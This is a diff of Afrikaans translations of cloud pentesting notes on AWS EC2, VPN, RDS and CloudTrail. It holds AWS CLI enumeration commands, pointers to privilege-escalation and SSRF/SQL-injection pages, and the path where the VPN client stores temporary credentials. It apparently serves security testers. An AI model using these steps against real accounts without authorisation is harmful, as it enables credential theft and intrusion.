Om **rolle** te gebruik om toestemmings aan toepassings wat op **EC2 instansies** loop te verleen, vereis 'n bietjie ekstra konfigurasie. 'n Toepassing wat op 'n EC2 instansie loop, is geabstraheer van AWS deur die gevirtualiseerde bedryfstelsel. Vanweë hierdie ekstra skeiding, benodig jy 'n bykomende stap om 'n AWS rol en sy geassosieerde toestemmings aan 'n EC2 instansie toe te ken en dit beskikbaar te stel vir sy toepassings.
|
||||
|
||||
Hierdie ekstra stap is die **skepping van 'n** [_**instance profile**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) wat aan die instance geheg is. Die **instance profile bevat die rol en** kan die rol se tydelike akrediteerbare inligting aan 'n toepassing wat op die instance loop, verskaf. Daardie tydelike akrediteerbare inligting kan dan in die toepassing se API-oproepe gebruik word om toegang tot hulpbronne te verkry en om toegang te beperk tot slegs daardie hulpbronne wat die rol spesifiseer. Let daarop dat **slegs een rol aan 'n EC2-instance** op 'n slag toegeken kan word, en alle toepassings op die instance deel dieselfde rol en toestemmings.
|
||||
Hierdie ekstra stap is die **skepping van 'n** [_**instance profile**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) wat aan die instansie geheg is. Die **instance profile bevat die rol en** kan die rol se tydelike akrediteerbare inligting aan 'n toepassing wat op die instansie loop, verskaf. Daardie tydelike akrediteerbare inligting kan dan in die toepassing se API-oproepe gebruik word om toegang tot hulpbronne te verkry en om toegang te beperk tot slegs daardie hulpbronne wat die rol spesifiseer. Let daarop dat **slegs een rol aan 'n EC2 instansie** op 'n slag toegeken kan word, en alle toepassings op die instansie deel dieselfde rol en toestemmings.
|
||||
|
||||
### Metadata Endpoint
|
||||
|
||||
AWS EC2 metadata is inligting oor 'n Amazon Elastic Compute Cloud (EC2) instance wat beskikbaar is vir die instance tydens uitvoering. Hierdie metadata word gebruik om inligting oor die instance te verskaf, soos sy instance ID, die beskikbaarheidsone waarin dit loop, die IAM-rol wat met die instance geassosieer is, en die instance se gasheernaam.
|
||||
AWS EC2 metadata is inligting oor 'n Amazon Elastic Compute Cloud (EC2) instansie wat beskikbaar is vir die instansie tydens uitvoering. Hierdie metadata word gebruik om inligting oor die instansie te verskaf, soos sy instansie-ID, die beskikbaarheidsone waarin dit loop, die IAM rol geassosieer met die instansie, en die instansie se gasheernaam.
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
### Enumeration
|
||||
@@ -135,7 +135,7 @@ aws ec2 describe-vpc-peering-connections
|
||||
|
||||
### Privilege Escalation
|
||||
|
||||
In die volgende bladsy kan jy kyk hoe om **EC2-toestemmings te misbruik om voorregte te verhoog**:
|
||||
In die volgende bladsy kan jy kyk hoe om **EC2-toestemmings te misbruik om privileges te verhoog**:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-ec2-privesc.md
|
||||
@@ -159,7 +159,7 @@ Snapshots kan **sensitiewe inligting** bevat soos **bronkode of API sleutels**,
|
||||
|
||||
### Privilege Escalation
|
||||
|
||||
In die volgende bladsy kan jy kyk hoe om **EBS-toestemmings te misbruik om voorregte te verhoog**:
|
||||
In die volgende bladsy kan jy kyk hoe om **EBS-toestemmings te misbruik om privileges te verhoog**:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-ebs-privesc.md
|
||||
@@ -167,11 +167,11 @@ In die volgende bladsy kan jy kyk hoe om **EBS-toestemmings te misbruik om voorr
|
||||
|
||||
## SSM
|
||||
|
||||
**Amazon Simple Systems Manager (SSM)** maak dit moontlik om afstandsgewys 'n vloot van EC2 instansies te bestuur om hul administrasies baie makliker te maak. Elke een van hierdie instansies moet die **SSM Agent diens** aan hê, aangesien die diens die een sal wees wat die aksies ontvang en dit uitvoer vanaf die AWS API.
|
||||
**Amazon Simple Systems Manager (SSM)** maak dit moontlik om afstandsgewys 'n groep EC2 instansies te bestuur om hul administrasie baie makliker te maak. Elke van hierdie instansies moet die **SSM Agent diens** aan hê, aangesien die diens die een sal wees wat die aksies ontvang en uitvoer vanaf die AWS API.
|
||||
|
||||
**SSM Agent** maak dit moontlik vir Systems Manager om hierdie hulpbronne op te dateer, te bestuur en te konfigureer. Die agent **verwerk versoeke van die Systems Manager diens in die AWS Cloud**, en voer dit dan uit soos gespesifiseer in die versoek.
|
||||
|
||||
Die **SSM Agent kom**[ **vooraf geïnstalleer in sommige AMI's**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) of jy moet dit [**handmatig installeer**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) op die instansies. Ook, die IAM Rol wat binne die instansie gebruik word, moet die beleid **AmazonEC2RoleforSSM** aangeheg hê om te kan kommunikeer.
|
||||
Die **SSM Agent kom**[ **vooraf geïnstalleer in sommige AMIs**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) of jy moet dit [**handmatig op die instansies installeer**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html). Ook, die IAM Rol wat binne die instansie gebruik word, moet die beleid **AmazonEC2RoleforSSM** hê om te kan kommunikeer.
|
||||
|
||||
### Enumerasie
|
||||
```bash
|
||||
@@ -209,7 +209,7 @@ aws elbv2 describe-load-balancers
|
||||
aws elbv2 describe-load-balancers | jq '.LoadBalancers[].DNSName'
|
||||
aws elbv2 describe-listeners --load-balancer-arn <load_balancer_arn>
|
||||
```
|
||||
## Ontwerp Sjablone & Outomatiese Skaal Groepe
|
||||
## Ontwerp Sjablone & Outomatiese Skalering Groepe
|
||||
|
||||
### Opname
|
||||
```bash
|
||||
@@ -228,9 +228,9 @@ aws autoscaling describe-load-balancers
|
||||
```
|
||||
## Nitro
|
||||
|
||||
AWS Nitro is 'n suite van **innoverende tegnologieë** wat die onderliggende platform vir AWS EC2-instanties vorm. Ingevoerd deur Amazon om **veiligheid, prestasie en betroubaarheid** te **verbeter**, benut Nitro pasgemaakte **hardeware-komponente en 'n liggewig hypervisor**. Dit abstraheer baie van die tradisionele virtualisering funksionaliteit na toegewyde hardeware en sagteware, **minimaliseer die aanvaloppervlak** en verbeter hulpbron doeltreffendheid. Deur virtualisering funksies af te laai, laat Nitro EC2-instanties toe om **naby bare-metal prestasie** te lewer, wat dit veral voordelig maak vir hulpbron-intensiewe toepassings. Boonop verseker die Nitro Security Chip spesifiek die **veiligheid van die hardeware en firmware**, wat sy robuuste argitektuur verder versterk.
|
||||
AWS Nitro is 'n suite van **innoverende tegnologieë** wat die onderliggende platform vir AWS EC2-instanties vorm. Ingevoerd deur Amazon om **veiligheid, prestasie en betroubaarheid** te **verbeter**, benut Nitro pasgemaakte **hardeware-komponente en 'n liggewig hypervisor**. Dit abstraheer baie van die tradisionele virtualisering funksionaliteit na toegewyde hardeware en sagteware, **minimizing the attack surface** en verbeter hulpbron doeltreffendheid. Deur virtualisering funksies af te laai, laat Nitro EC2-instanties toe om **near bare-metal performance** te lewer, wat dit veral voordelig maak vir hulpbron-intensiewe toepassings. Boonop verseker die Nitro Security Chip spesifiek die **veiligheid van die hardeware en firmware**, wat sy robuuste argitektuur verder versterk.
|
||||
|
||||
Kry meer inligting en hoe om dit te enumereer vanaf:
|
||||
Get more information and how to enumerate it from:
|
||||
|
||||
{{#ref}}
|
||||
aws-nitro-enum.md
|
||||
@@ -240,30 +240,30 @@ aws-nitro-enum.md
|
||||
|
||||
'n VPN laat jou toe om jou **on-premise netwerk (site-to-site VPN)** of die **werkers se skootrekenaars (Client VPN)** met 'n **AWS VPC** te verbind sodat dienste sonder blootstelling aan die internet verkry kan word.
|
||||
|
||||
#### Basiese AWS VPN Komponente
|
||||
#### Basic AWS VPN Components
|
||||
|
||||
1. **Kliënt Gateway**:
|
||||
- 'n Kliënt Gateway is 'n hulpbron wat jy in AWS skep om jou kant van 'n VPN-verbinding te verteenwoordig.
|
||||
1. **Customer Gateway**:
|
||||
- 'n Customer Gateway is 'n hulpbron wat jy in AWS skep om jou kant van 'n VPN-verbinding te verteenwoordig.
|
||||
- Dit is essensieel 'n fisiese toestel of sagtewaretoepassing aan jou kant van die Site-to-Site VPN-verbinding.
|
||||
- Jy verskaf routering inligting en die publieke IP-adres van jou netwerktoestel (soos 'n router of 'n firewall) aan AWS om 'n Kliënt Gateway te skep.
|
||||
- Jy verskaf routeringsinligting en die publieke IP-adres van jou netwerktoestel (soos 'n router of 'n firewall) aan AWS om 'n Customer Gateway te skep.
|
||||
- Dit dien as 'n verwysingspunt vir die opstelling van die VPN-verbinding en veroorsaak geen addisionele koste nie.
|
||||
2. **Virtuele Privaat Gateway**:
|
||||
- 'n Virtuele Privaat Gateway (VPG) is die VPN-konsentrasie aan die Amazon kant van die Site-to-Site VPN-verbinding.
|
||||
2. **Virtual Private Gateway**:
|
||||
- 'n Virtual Private Gateway (VPG) is die VPN-konsentrasie aan die Amazon-kant van die Site-to-Site VPN-verbinding.
|
||||
- Dit is aan jou VPC geheg en dien as die teiken vir jou VPN-verbinding.
|
||||
- VPG is die AWS kant eindpunt vir die VPN-verbinding.
|
||||
- Dit hanteer die veilige kommunikasie tussen jou VPC en jou on-premises netwerk.
|
||||
3. **Site-to-Site VPN Verbinding**:
|
||||
3. **Site-to-Site VPN Connection**:
|
||||
- 'n Site-to-Site VPN-verbinding verbind jou on-premises netwerk met 'n VPC deur 'n veilige, IPsec VPN-tunnel.
|
||||
- Hierdie tipe verbinding vereis 'n Kliënt Gateway en 'n Virtuele Privaat Gateway.
|
||||
- Hierdie tipe verbinding vereis 'n Customer Gateway en 'n Virtual Private Gateway.
|
||||
- Dit word gebruik vir veilige, stabiele, en konsekwente kommunikasie tussen jou datacentrum of netwerk en jou AWS-omgewing.
|
||||
- Gewoonlik gebruik vir gereelde, langtermynverbindinge en word gefaktureer op grond van die hoeveelheid data wat oor die verbinding oorgedra word.
|
||||
4. **Kliënt VPN Eindpunt**:
|
||||
- 'n Kliënt VPN eindpunt is 'n hulpbron wat jy in AWS skep om kliënt VPN-sessies te aktiveer en te bestuur.
|
||||
- Dit word gebruik om individuele toestelle (soos skootrekenaars, slimfone, ens.) veilig te laat aansluit by AWS-hulpbronne of jou on-premises netwerk.
|
||||
4. **Client VPN Endpoint**:
|
||||
- 'n Client VPN-eindpunt is 'n hulpbron wat jy in AWS skep om kliënt VPN-sessies te aktiveer en te bestuur.
|
||||
- Dit word gebruik om individuele toestelle (soos skootrekenaars, slimfone, ens.) veilig te laat aansluit op AWS-hulpbronne of jou on-premises netwerk.
|
||||
- Dit verskil van Site-to-Site VPN in die sin dat dit ontwerp is vir individuele kliënte eerder as om hele netwerke te verbind.
|
||||
- Met Kliënt VPN gebruik elke kliënttoestel 'n VPN-kliënt sagteware om 'n veilige verbinding te vestig.
|
||||
- Met Client VPN gebruik elke kliënttoestel 'n VPN-kliënt sagteware om 'n veilige verbinding te vestig.
|
||||
|
||||
Jy kan [**meer inligting oor die voordele en komponente van AWS VPNs hier vind**](aws-vpc-and-networking-basic-information.md#vpn).
|
||||
You can [**find more information about the benefits and components of AWS VPNs here**](aws-vpc-and-networking-basic-information.md#vpn).
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
@@ -291,15 +291,15 @@ aws ec2 describe-vpn-connections
|
||||
```
|
||||
### Plaaslike Enumerasie
|
||||
|
||||
**Plaaslike Tydelike Krediete**
|
||||
**Plaaslike Tydelike Kredensiale**
|
||||
|
||||
Wanneer AWS VPN-kliënt gebruik word om met 'n VPN te verbind, sal die gebruiker gewoonlik **in AWS aanmeld** om toegang tot die VPN te verkry. Dan word daar **AWS-krediete geskep en plaaslik gestoor** om die VPN-verbinding tot stand te bring. Hierdie krediete word **gestoor in** `$HOME/.config/AWSVPNClient/TemporaryCredentials/<region>/temporary-credentials.txt` en bevat 'n **AccessKey**, 'n **SecretKey** en 'n **Token**.
|
||||
Wanneer AWS VPN-kliënt gebruik word om met 'n VPN te verbind, sal die gebruiker gewoonlik **in AWS aanmeld** om toegang tot die VPN te verkry. Dan, word daar **AWS-kredensiale geskep en plaaslik gestoor** om die VPN-verbinding te vestig. Hierdie kredensiale word **gestoor in** `$HOME/.config/AWSVPNClient/TemporaryCredentials/<region>/temporary-credentials.txt` en bevat 'n **AccessKey**, 'n **SecretKey** en 'n **Token**.
|
||||
|
||||
Die krediete behoort aan die gebruiker `arn:aws:sts::<acc-id>:assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: navorsing oor die toestemmings van hierdie krediete).
|
||||
Die kredensiale behoort aan die gebruiker `arn:aws:sts::<acc-id>:assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: navorsing oor die toestemmings van hierdie kredensiale).
|
||||
|
||||
**opvn konfigurasie lêers**
|
||||
|
||||
As 'n **VPN-verbinding tot stand gebring is**, moet jy soek na **`.opvn`** konfigurasie lêers in die stelsel. Boonop, een plek waar jy die **konfigurasies** kan vind, is in **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`**
|
||||
As 'n **VPN-verbinding gevestig is**, moet jy soek na **`.opvn`** konfigurasie lêers in die stelsel. Boonop, een plek waar jy die **konfigurasies** kan vind is in **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`**
|
||||
|
||||
#### **Post Exploitaiton**
|
||||
|
||||
|
||||
@@ -4,15 +4,15 @@
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
Die **Relational Database Service (RDS)** wat deur AWS aangebied word, is ontwerp om die ontplooiing, werking en skaal van 'n **relationele databasis in die wolk** te stroomlyn. Hierdie diens bied die voordele van kostedoeltreffendheid en skaalbaarheid terwyl dit arbeidsintensiewe take soos hardeware voorsiening, databasis konfigurasie, patching en rugsteun outomatiseer.
|
||||
Die **Relational Database Service (RDS)** wat deur AWS aangebied word, is ontwerp om die ontplooiing, werking en skaal van 'n **relationele databasis in die wolk** te stroomlyn. Hierdie diens bied die voordele van kostedoeltreffendheid en skaalbaarheid terwyl dit arbeidsintensiewe take soos hardewareverskaffing, databasis konfigurasie, patching en rugsteun outomatiseer.
|
||||
|
||||
AWS RDS ondersteun verskeie algemeen gebruikte relationele databasis enjin, insluitend MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server, en Amazon Aurora, met kompatibiliteit vir beide MySQL en PostgreSQL.
|
||||
|
||||
Belangrike kenmerke van RDS sluit in:
|
||||
|
||||
- **Bestuur van databasisinstansies** is vereenvoudig.
|
||||
- Skep van **lees replika** om leesprestasie te verbeter.
|
||||
- Konfigurasie van **multi-Beskikbaarheid Sone (AZ) ontplooiings** om hoë beskikbaarheid en failover meganismes te verseker.
|
||||
- Skep van **lees replika's** om leesprestasie te verbeter.
|
||||
- Konfigurasie van **multi-Availability Zone (AZ) ontplooiings** om hoë beskikbaarheid en failover meganismes te verseker.
|
||||
- **Integrasie** met ander AWS dienste, soos:
|
||||
- AWS Identity and Access Management (**IAM**) vir robuuste toegangbeheer.
|
||||
- AWS **CloudWatch** vir omvattende monitering en metrieke.
|
||||
@@ -46,29 +46,29 @@ Boonop kan die **databasispoort ook gewysig word**.
|
||||
|
||||
**Versleuteling is standaard geaktiveer** met 'n AWS bestuurde sleutel (n CMK kan in plaas daarvan gekies word).
|
||||
|
||||
Deur jou versleuteling te aktiveer, aktiveer jy **versleuteling in rus vir jou stoor, snapshots, lees replika en jou rugsteun**. Sleutels om hierdie versleuteling te bestuur kan uitgereik word deur **KMS**.\
|
||||
Deur jou versleuteling te aktiveer, aktiveer jy **versleuteling in rus vir jou stoor, snapshots, lees replika's en jou rugsteun**. Sleutels om hierdie versleuteling te bestuur kan uitgereik word deur **KMS**.\
|
||||
Dit is nie moontlik om hierdie vlak van versleuteling by te voeg nadat jou databasis geskep is nie. **Dit moet tydens die skepping gedoen word**.
|
||||
|
||||
Daar is egter 'n **ompad wat jou toelaat om 'n nie-versleutelde databasis soos volg te versleutelen**. Jy kan 'n snapshot van jou nie-versleutelde databasis skep, 'n versleutelde kopie van daardie snapshot skep, daardie versleutelde snapshot gebruik om 'n nuwe databasis te skep, en dan, uiteindelik, sou jou databasis dan versleuteld wees.
|
||||
Daar is egter 'n **ompad wat jou toelaat om 'n nie-versleutelde databasis soos volg te versleutel**. Jy kan 'n snapshot van jou nie-versleutelde databasis skep, 'n versleutelde kopie van daardie snapshot skep, daardie versleutelde snapshot gebruik om 'n nuwe databasis te skep, en dan, uiteindelik, sou jou databasis dan versleuteld wees.
|
||||
|
||||
#### Deursigtige Data Versleuteling (TDE)
|
||||
|
||||
Saam met die versleuteling vermoëns wat inherent aan RDS op die toepassingsvlak is, ondersteun RDS ook **addisionele platform-vlak versleuteling meganismes** om data in rus te beskerm. Dit sluit **Deursigtige Data Versleuteling (TDE)** vir Oracle en SQL Server in. Dit is egter belangrik om op te let dat terwyl TDE sekuriteit verbeter deur data in rus te versleutelen, dit ook **databasisprestasie kan beïnvloed**. Hierdie prestasie-impak is veral merkbaar wanneer dit saam met MySQL-kryptografiese funksies of Microsoft Transact-SQL-kryptografiese funksies gebruik word.
|
||||
Saam met die versleuteling vermoëns wat inherent aan RDS op die toepassingsvlak is, ondersteun RDS ook **addisionele platform-vlak versleuteling meganismes** om data in rus te beskerm. Dit sluit **Deursigtige Data Versleuteling (TDE)** vir Oracle en SQL Server in. Dit is egter belangrik om op te let dat terwyl TDE sekuriteit verbeter deur data in rus te versleutel, dit ook **databasisprestasie kan beïnvloed**. Hierdie prestasie-impak is veral merkbaar wanneer dit saam met MySQL-kryptografiese funksies of Microsoft Transact-SQL-kryptografiese funksies gebruik word.
|
||||
|
||||
Om TDE te gebruik, is sekere voorlopige stappe nodig:
|
||||
|
||||
1. **Opsie Groep Assosiasie**:
|
||||
- Die databasis moet met 'n opsiegroep geassosieer word. Opsiegroepe dien as houers vir instellings en funksies, wat databasisbestuur vergemaklik, insluitend sekuriteitsverbeterings.
|
||||
- Dit is egter belangrik om op te let dat opsiegroepe slegs beskikbaar is vir spesifieke databasis enjin en weergawes.
|
||||
2. **Insluiting van TDE in Opsiegroep**:
|
||||
2. **Insluiting van TDE in Opsie Groep**:
|
||||
- Sodra dit met 'n opsiegroep geassosieer is, moet die Oracle Deursigtige Data Versleuteling opsie in daardie groep ingesluit word.
|
||||
- Dit is noodsaaklik om te erken dat sodra die TDE opsie aan 'n opsiegroep bygevoeg word, dit 'n permanente kenmerk word en nie verwyder kan word nie.
|
||||
- Dit is noodsaaklik om te erken dat sodra die TDE opsie by 'n opsiegroep gevoeg is, dit 'n permanente kenmerk word en nie verwyder kan word nie.
|
||||
3. **TDE Versleuteling Modusse**:
|
||||
- TDE bied twee uiteenlopende versleuteling modusse:
|
||||
- **TDE Tabelruimte Versleuteling**: Hierdie modus versleutelt hele tabelles, wat 'n breër omvang van databeskydding bied.
|
||||
- **TDE Kolom Versleuteling**: Hierdie modus fokus op die versleuteling van spesifieke, individuele elemente binne die databasis, wat meer granulaire beheer oor watter data versleuteld word, moontlik maak.
|
||||
- TDE bied twee onderskeidbare versleuteling modusse:
|
||||
- **TDE Tabelruimte Versleuteling**: Hierdie modus versleutel hele tabelle, wat 'n breër omvang van databeskydding bied.
|
||||
- **TDE Kolom Versleuteling**: Hierdie modus fokus op die versleuteling van spesifieke, individuele elemente binne die databasis, wat meer granulaire beheer oor watter data versleutel word, moontlik maak.
|
||||
|
||||
Om hierdie vereistes en die operasionele nuanses van TDE te verstaan, is noodsaaklik vir die effektiewe implementering en bestuur van versleuteling binne RDS, wat beide datasekuriteit en nakoming van nodige standaarde verseker.
|
||||
Om hierdie vereistes en die operasionele ingewikkeldhede van TDE te verstaan, is noodsaaklik vir effektiewe implementering en bestuur van versleuteling binne RDS, wat beide datasekuriteit en nakoming van nodige standaarde verseker.
|
||||
|
||||
### Enumerasie
|
||||
```bash
|
||||
@@ -134,7 +134,7 @@ aws rds modify-db-instance --db-instance-identifier <ID> --master-user-password
|
||||
Daar is maniere om toegang tot DynamoDB-data te verkry met **SQL-sintaks**, daarom is tipiese **SQL-inbrake ook moontlik**.
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/sql-injection
|
||||
https://book.hacktricks.wiki/en/pentesting-web/sql-injection/index.html
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,9 +4,9 @@
|
||||
|
||||
## **CloudTrail**
|
||||
|
||||
AWS CloudTrail **registreer en monitor aktiwiteit binne jou AWS omgewing**. Dit vang gedetailleerde **gebeurtenislogs**, insluitend wie wat gedoen het, wanneer, en van waar, vir alle interaksies met AWS hulpbronne. Dit bied 'n oudit spoor van veranderinge en aksies, wat help met sekuriteitsanalise, nakoming ouditering, en hulpbron verandering opsporing. CloudTrail is noodsaaklik om gebruikers- en hulpbron gedrag te verstaan, sekuriteitsposisies te verbeter, en regulatoriese nakoming te verseker.
|
||||
AWS CloudTrail **registreer en monitor aktiwiteit binne jou AWS omgewing**. Dit vang gedetailleerde **gebeurtenis logs**, insluitend wie wat gedoen het, wanneer, en van waar, vir alle interaksies met AWS hulpbronne. Dit bied 'n oudit spoor van veranderinge en aksies, wat help met sekuriteitsanalise, nakoming ouditering, en hulpbron verandering opsporing. CloudTrail is noodsaaklik om gebruikers- en hulpbron gedrag te verstaan, sekuriteitsposisies te verbeter, en regulatoriese nakoming te verseker.
|
||||
|
||||
Elke geregistreerde gebeurtenis bevat:
|
||||
Elke gelogde gebeurtenis bevat:
|
||||
|
||||
- Die naam van die aangeroep API: `eventName`
|
||||
- Die aangeroep diens: `eventSource`
|
||||
@@ -16,17 +16,17 @@ Elke geregistreerde gebeurtenis bevat:
|
||||
- Signing.amazonaws.com - Van AWS Bestuurskonsol
|
||||
- console.amazonaws.com - Wortel gebruiker van die rekening
|
||||
- lambda.amazonaws.com - AWS Lambda
|
||||
- Die versoekparameters: `requestParameters`
|
||||
- Die versoek parameters: `requestParameters`
|
||||
- Die respons elemente: `responseElements`
|
||||
|
||||
Gebeurtenisse word na 'n nuwe loglêer **ongeveer elke 5 minute in 'n JSON-lêer** geskryf, hulle word deur CloudTrail gehou en uiteindelik, loglêers word **aan S3 afgelewer ongeveer 15min na**.\
|
||||
CloudTrail se logs kan **geaggregeer word oor rekeninge en oor streke.**\
|
||||
CloudTrail laat toe om **loglêer integriteit te gebruik om te kan verifieer dat jou loglêers onveranderd gebly het** sedert CloudTrail dit aan jou afgelewer het. Dit skep 'n SHA-256 hash van die logs binne 'n digest-lêer. 'n sha-256 hash van die nuwe logs word elke uur geskep.\
|
||||
Wanneer 'n Trail geskep word, sal die gebeurteniskeuses jou toelaat om die trail aan te dui om te log: Bestuur, data of insig gebeurtenisse.
|
||||
Wanneer 'n Trail geskep word, sal die gebeurtenis keuses jou toelaat om die trail aan te dui om te log: Bestuur, data of insig gebeurtenisse.
|
||||
|
||||
Logs word in 'n S3-bucket gestoor. Standaard word Server Side Encryption (SSE-S3) gebruik, so AWS sal die inhoud ontsleutel vir die mense wat toegang het, maar vir bykomende sekuriteit kan jy SSE met KMS en jou eie sleutels gebruik.
|
||||
|
||||
Die logs word gestoor in 'n **S3-bucket met hierdie naamformaat**:
|
||||
Die logs word in 'n **S3-bucket met hierdie naamformaat** gestoor:
|
||||
|
||||
- **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`**
|
||||
- Waar die BucketName is: **`aws-cloudtrail-logs-<accountid>-<random>`**
|
||||
@@ -34,7 +34,7 @@ Die logs word gestoor in 'n **S3-bucket met hierdie naamformaat**:
|
||||
|
||||
Binne elke gids sal elke log 'n **naam hê wat hierdie formaat volg**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`**
|
||||
|
||||
Loglêer Naamkonvensie
|
||||
Log Lêer Naam Konvensie
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -42,7 +42,7 @@ Boonop, **digest-lêers (om lêer integriteit te kontroleer)** sal binne die **d
|
||||
|
||||
.png>)
|
||||
|
||||
### Geaggregeerde Logs van Meerdere Rekenings
|
||||
### Geaggregeerde Logs van Meerdere Rekeninge
|
||||
|
||||
- Skep 'n Trail in die AWS rekening waar jy wil hê die loglêers moet afgelewer word
|
||||
- Pas toestemmings toe op die bestemmings S3-bucket wat kruis-rekening toegang vir CloudTrail toelaat en laat elke AWS rekening wat toegang benodig toe
|
||||
@@ -61,13 +61,13 @@ Wanneer 'n CloudTrail geskep word, is dit moontlik om aan te dui om cloudtrail t
|
||||
|
||||
Op hierdie manier kan jy CloudTrail maklik in al die streke van al die rekeninge konfigureer en die logs in 1 rekening sentraliseer (wat jy moet beskerm).
|
||||
|
||||
### Loglêers Kontrole
|
||||
### Log Lêers Kontrole
|
||||
|
||||
Jy kan kontroleer dat die logs nie verander is nie deur te loop
|
||||
```javascript
|
||||
aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]
|
||||
```
|
||||
### Logs na CloudWatch
|
||||
### Logs to CloudWatch
|
||||
|
||||
**CloudTrail kan outomaties logs na CloudWatch stuur sodat jy waarskuwings kan stel wat jou waarsku wanneer verdagte aktiwiteite uitgevoer word.**\
|
||||
Let daarop dat om CloudTrail toe te laat om die logs na CloudWatch te stuur, 'n **rol** geskep moet word wat daardie aksie toelaat. Indien moontlik, word dit aanbeveel om die AWS standaardrol te gebruik om hierdie aksies uit te voer. Hierdie rol sal CloudTrail toelaat om:
|
||||
@@ -75,37 +75,37 @@ Let daarop dat om CloudTrail toe te laat om die logs na CloudWatch te stuur, 'n
|
||||
- CreateLogStream: Dit laat jou toe om 'n CloudWatch Logs log streams te skep
|
||||
- PutLogEvents: Lewer CloudTrail logs aan CloudWatch Logs log stream
|
||||
|
||||
### Gebeurtenisgeskiedenis
|
||||
### Event History
|
||||
|
||||
CloudTrail Gebeurtenisgeskiedenis laat jou toe om in 'n tabel die logs wat opgeneem is, te inspekteer:
|
||||
CloudTrail Event History laat jou toe om in 'n tabel die logs wat opgeneem is, te inspekteer:
|
||||
|
||||
.png>)
|
||||
|
||||
### Insigte
|
||||
### Insights
|
||||
|
||||
**CloudTrail Insigte** analiseer outomaties **skryfbestuur** gebeurtenisse van CloudTrail spore en **waarsku** jou oor **ongewone aktiwiteit**. Byvoorbeeld, as daar 'n toename in `TerminateInstance` gebeurtenisse is wat verskil van gevestigde baselines, sal jy dit as 'n Insig gebeurtenis sien. Hierdie gebeurtenisse maak **die vind en reageer op ongewone API aktiwiteit makliker** as ooit.
|
||||
**CloudTrail Insights** analiseer outomaties **skrywe bestuur gebeurtenisse** van CloudTrail spore en **waarsku** jou oor **ongewone aktiwiteit**. Byvoorbeeld, as daar 'n toename in `TerminateInstance` gebeurtenisse is wat verskil van gevestigde baselines, sal jy dit as 'n Insight gebeurtenis sien. Hierdie gebeurtenisse maak **die vind en reaksie op ongewone API aktiwiteit makliker** as ooit.
|
||||
|
||||
Die insigte word in dieselfde emmer as die CloudTrail logs gestoor in: `BucketName/AWSLogs/AccountID/CloudTrail-Insight`
|
||||
|
||||
### Sekuriteit
|
||||
### Security
|
||||
|
||||
| CloudTrail Log Lêer Integriteit | <ul><li>Verifieer of logs gemanipuleer is (gewysig of verwyder)</li><li><p>Gebruik digest lêers (skep hash vir elke lêer)</p><ul><li>SHA-256 hashing</li><li>SHA-256 met RSA vir digitale ondertekening</li><li>privaat sleutel besit deur Amazon</li></ul></li><li>Neem 1 uur om 'n digest lêer te skep (gedoen op die uur elke uur)</li></ul> |
|
||||
| CloudTrail Log File Integrity | <ul><li>Verifieer of logs gemanipuleer is (gewysig of verwyder)</li><li><p>Gebruik digest lêers (skep hash vir elke lêer)</p><ul><li>SHA-256 hashing</li><li>SHA-256 met RSA vir digitale ondertekening</li><li>privaat sleutel besit deur Amazon</li></ul></li><li>Neem 1 uur om 'n digest lêer te skep (gedoen op die uur elke uur)</li></ul> |
|
||||
| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| Stop ongemagtigde toegang | <ul><li><p>Gebruik IAM beleide en S3 emmer beleide</p><ul><li>sekuriteitspan —> admin toegang</li><li>ouditeurs —> lees slegs toegang</li></ul></li><li>Gebruik SSE-S3/SSE-KMS om die logs te enkripteer</li></ul> |
|
||||
| Voorkom dat log lêers verwyder word | <ul><li>Beperk verwyder toegang met IAM en emmer beleide</li><li>Konfigureer S3 MFA verwydering</li><li>Verifieer met Log Lêer Verifikasie</li></ul> |
|
||||
| Stop unauthorized access | <ul><li><p>Gebruik IAM beleid en S3 emmer beleid</p><ul><li>sekuriteitspan —> admin toegang</li><li>ouditeurs —> lees slegs toegang</li></ul></li><li>Gebruik SSE-S3/SSE-KMS om die logs te enkripteer</li></ul> |
|
||||
| Prevent log files from being deleted | <ul><li>Beperk verwyder toegang met IAM en emmer beleid</li><li>Konfigureer S3 MFA verwydering</li><li>Verifieer met Log File Validation</li></ul> |
|
||||
|
||||
## Toegang Adviseur
|
||||
## Access Advisor
|
||||
|
||||
